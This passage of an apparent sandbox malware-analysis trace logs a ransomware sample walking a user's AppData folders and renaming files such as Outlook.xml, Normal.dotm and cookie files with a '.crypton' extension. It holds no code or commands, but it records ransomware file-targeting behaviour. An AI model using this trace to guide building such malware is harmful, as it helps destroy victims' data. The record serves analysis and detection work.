ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf9a8f880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a8f880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0208.547] GetFileType (hFile=0x214) returned 0x1 [0208.551] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf9a8f880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9a8f880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0208.562] GetFileType (hFile=0x214) returned 0x1 [0208.567] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf9ab59e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9ab59e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0208.585] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat.crypton"), dwFlags=0x2) returned 1 [0208.587] GetFileType (hFile=0x214) returned 0x1 [0208.592] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf9b01ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b01ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0208.593] GetFileType (hFile=0x190) returned 0x1 [0208.600] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xf9b01ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b01ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.601] GetFileType (hFile=0x190) returned 0x1 [0208.609] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0xf9b27e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b27e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.610] GetFileType (hFile=0x1a4) returned 0x1 [0208.615] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0xf9b4df60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b4df60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.616] GetFileType (hFile=0x20c) returned 0x1 [0208.620] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0xf9b4df60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b4df60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.621] GetFileType (hFile=0x190) returned 0x1 [0208.626] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9b4df60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b4df60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.627] GetFileType (hFile=0x1a4) returned 0x1 [0208.631] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9b740c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b740c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.631] GetFileType (hFile=0x20c) returned 0x1 [0208.636] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9b740c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b740c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.636] GetFileType (hFile=0x214) returned 0x1 [0208.640] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9b740c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b740c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0208.642] GetFileType (hFile=0x190) returned 0x1 [0208.647] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf9b9a220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b9a220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.653] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf9b9a220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9b9a220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.655] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.crypton"), dwFlags=0x2) returned 1 [0208.658] GetFileType (hFile=0x190) returned 0x1 [0208.663] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xf9bc0380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9bc0380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.667] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.crypton"), dwFlags=0x2) returned 1 [0208.671] GetFileType (hFile=0x190) returned 0x1 [0208.676] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf9bc0380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9bc0380, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.678] GetFileType (hFile=0x190) returned 0x1 [0208.684] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf9be64e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9be64e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.690] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9be64e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9be64e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.697] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9c0c640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9c0c640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.704] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xf9c0c640, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9c0c640, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.705] GetFileType (hFile=0x190) returned 0x1 [0208.711] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43bcc750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf9c327a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9c327a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.714] GetFileType (hFile=0x190) returned 0x1 [0208.720] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf9c327a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9c327a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.723] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.crypton"), dwFlags=0x2) returned 1 [0208.726] GetFileType (hFile=0x190) returned 0x1 [0208.732] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf9c58900, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9c58900, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.733] GetFileType (hFile=0x190) returned 0x1 [0208.740] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9c7ea60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9c7ea60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.741] GetFileType (hFile=0x1a4) returned 0x1 [0208.747] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9c7ea60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9c7ea60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.747] GetFileType (hFile=0x20c) returned 0x1 [0208.753] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9c7ea60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9c7ea60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.754] GetFileType (hFile=0x20c) returned 0x1 [0208.761] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9ca4bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9ca4bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.761] GetFileType (hFile=0x20c) returned 0x1 [0208.767] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9ca4bc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9ca4bc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0208.768] GetFileType (hFile=0x190) returned 0x1 [0208.775] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf9ccad20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9ccad20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.788] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm.crypton"), dwFlags=0x2) returned 1 [0208.792] GetFileType (hFile=0x190) returned 0x1 [0208.798] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf9cf0e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9cf0e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.804] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9d16fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9d16fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0208.810] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf9d16fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf9d16fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0208.812] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.crypton"), dwFlags=0x2) returned 1 [0208.817] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.crypton"), dwFlags=0x2) returned 1 [0208.821] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js 